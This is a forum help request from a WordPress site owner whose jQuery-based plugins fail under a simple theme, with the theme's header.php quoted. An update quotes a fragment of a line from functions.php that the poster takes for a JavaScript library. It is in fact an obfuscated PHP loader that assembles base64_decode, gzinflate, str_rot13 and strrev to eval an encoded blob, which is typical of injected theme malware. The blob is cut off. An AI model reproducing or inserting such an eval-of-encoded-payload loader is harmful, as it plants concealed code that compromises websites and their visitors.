I am having some issues with a couple of plugins which use jQuery/JS i.e. cookie control and a picasa photo gallery.
The theme I am using is quite basic and comes with no sliders etc with moving parts and therefore maybe HAD no need for for jQuery/JS so may not be included in the theme.
I have tested the exact same setup on a more advanced theme with sliders etc and these work as planned.
Below is the code for the header.php file:
<?php if (wp_loaded() === true) { ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="<?php bloginfo('html_type') ?>; charset=<?php bloginfo('charset') ?>" />
<title><?php wp_title( '|', true, 'right' ); bloginfo( 'name' ); ?></title>
<link rel="stylesheet" href="<?php bloginfo('stylesheet_url') ?>" type="text/css" media="screen" />
<!--[if IE 6]><link rel="stylesheet" href="<?php bloginfo('template_url'); ?>/style.ie6.css" type="text/css" media="screen" /><![endif]-->
<!--[if IE 7]><link rel="stylesheet" href="<?php bloginfo('template_url'); ?>/style.ie7.css" type="text/css" media="screen" /><![endif]-->
<link rel="shortcut icon" type="image/x-icon" href="<?php bloginfo('stylesheet_directory'); ?>/favicon.ico" />
<link rel="shortcut icon" type="image/png" href="<?php bloginfo('stylesheet_directory'); ?>/favicon.png" />
<?php if(WP_VERSION < 3.0): ?>
<link rel="alternate" type="application/rss+xml" title="<?php printf(__('%s RSS Feed', THEME_NS), get_bloginfo('name')); ?>" href="<?php bloginfo('rss2_url'); ?>" />
<link rel="alternate" type="application/atom+xml" title="<?php printf(__('%s Atom Feed', THEME_NS), get_bloginfo('name')); ?>" href="<?php bloginfo('atom_url'); ?>" />
<?php endif; ?>
<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
<?php
remove_action('wp_head', 'wp_generator');
wp_enqueue_script('jquery');
if ( is_singular() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
wp_head(); ?>
<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/script.js"></script>
</head><?php } ?>
<body <?php if(function_exists('body_class')) body_class(); ?>>
<div id="art-main">
<div class="cleared reset-box"></div>
<div class="art-nav">
<div class="art-nav-l"></div>
<div class="art-nav-r"></div>
<div class="art-nav-outer">
<div class="art-nav-wrapper">
<div class="art-nav-inner">
<?php
echo theme_get_menu(array(
'source' => theme_get_option('theme_menu_source'),
'depth' => theme_get_option('theme_menu_depth'),
'menu' => 'primary-menu',
'class' => 'art-hmenu'
)
);
?>
</div>
</div>
</div>
</div>
<div class="cleared reset-box"></div>
<div class="art-sheet">
<div class="art-sheet-body">
<div class="art-header">
<div class="art-logo">
<?php if(theme_get_option('theme_header_show_headline')): ?>
<h1 class="art-logo-name"><a href="<?php echo get_option('home'); ?>/"><?php bloginfo('name'); ?></a></h1>
<?php endif; ?>
<?php if(theme_get_option('theme_header_show_slogan')): ?>
<h2 class="art-logo-text"><?php bloginfo('description'); ?></h2>
<?php endif; ?>
</div>
</div>
<div class="cleared reset-box"></div>
I need to find a way of making these plugins work by including these libraries? I assume.
Surely it is just a case of adding the inclusion of said libraries to this header file? I assume the wordpress platform have built in libraries?
UPDATE:
While searching for the problem Dreamweaver reported a syntax error in a huge line of code located in functions.php. I am not sure what it is but I imagine its likely to be the reason for my problem. Hopefully this is some sort of JavaScript or jQuery library that I can source from the the JavaScript or jQuery site and simply paste that code over the top?
Here is a little snippet of what the code looks like:
$JIIE='d';$BgeiYKC='s';$HsKMZ='a';$ASoAnk='c';$HmIZ='4';$vIjbm='b';$rnhWg='e';$vYUXfZg='_';$vEMMZuV='6';$VJIIOE='e';$KCJbP='e';$pCXoIbX='d';$UxkTuF='o';$dNfWkGZS=$vIjbm.$HsKMZ.$BgeiYKC.$VJIIOE.$vEMMZuV.$HmIZ.$vYUXfZg.$JIIE.$rnhWg.$ASoAnk.$UxkTuF.$pCXoIbX.$KCJbP;$HmHxQr='f';$chkk='l';$lUuQrxv='i';$FCKv='a';$hXql='e';$WpLMH='t';$vrBP='z';$JNlQZi='g';$gevPW='n';$eJSoRqYQ=$JNlQZi.$vrBP.$lUuQrxv.$gevPW.$HmHxQr.$chkk.$FCKv.$WpLMH.$hXql;$YcAbMd='o';$abGr='s';$DDSGw='t';$DITEeh='_';$yMAly='3';$LGdXGf='r';$SqZzUI='1';$dSJlUx='r';$WdJDmRA='t';$mawoiGyr=$abGr.$WdJDmRA.$dSJlUx.$DITEeh.$LGdXGf.$YcAbMd.$DDSGw.$SqZzUI.$yMAly;$kuamXS='e';$DRPg='s';$HvYMzW='t';$DRLrvr='r';$ezJz='v';$bfOZvwc='r';$iNEGrOcr=$DRPg.$HvYMzW.$bfOZvwc.$DRLrvr.$kuamXS.$ezJeval($eJSoRqYQ($dNfWkGZS($mawoiGyr($iNEGrOcr('=8t//976is/+/wwRb05H9muiOy3r8iq+vYzF9IUX3z0f7DeZdxY9Jz46lLTBpH7doculNiXHs6yeZAd9pkMxnPXxHRFbxiPDe6sbKWOFR08e/tGFkLgnL3Xn2z/n7z+4UAK4FbpARBXg21a1USLLfEhekxq9a2HieMi36JLk3v+MgtsTkuaL8hC67CoolSzZRknAixO6VsK0usFZIFMGZgkYLdvAV2pU1kkSmuq+u05/EHtGTo/SO0X2dhL44iOg8INXOwu3Mht3lXtOqsyLcHBBjeSZY9OmG9FfCojctFiAoEtML31d/sGLZVjFCovDZnGFbsX6dZCPuhMlQPpWn41YujAIYlsRZAb6bT/Da6yDzxR3LXgQYnC2bCn1JBxx3pv/i6SEkQlLCgm6Kl09KIagoDlvy6RBTsbkCP+fvGQOUUjNfYvdhAkClMczxNY/K3bVLPFMm2qGhrIQtzFzhw7zcY+hwud+vG71433hgit96fTJzw1yQhkwI3LG+xLIXonMezhLaRT2a+95hZQe9+qmiUhOTppiafH7/bTCJz7EaKcYKNszebbvKeiujXLT53pnhs60WSnq9OmdAcI4VMZcbGQV4lW9TXnaMBY455CaSkVmxkOxNraScRnZyYpYZyOZ0KzfNmjgzv8vW2cPjtHEAv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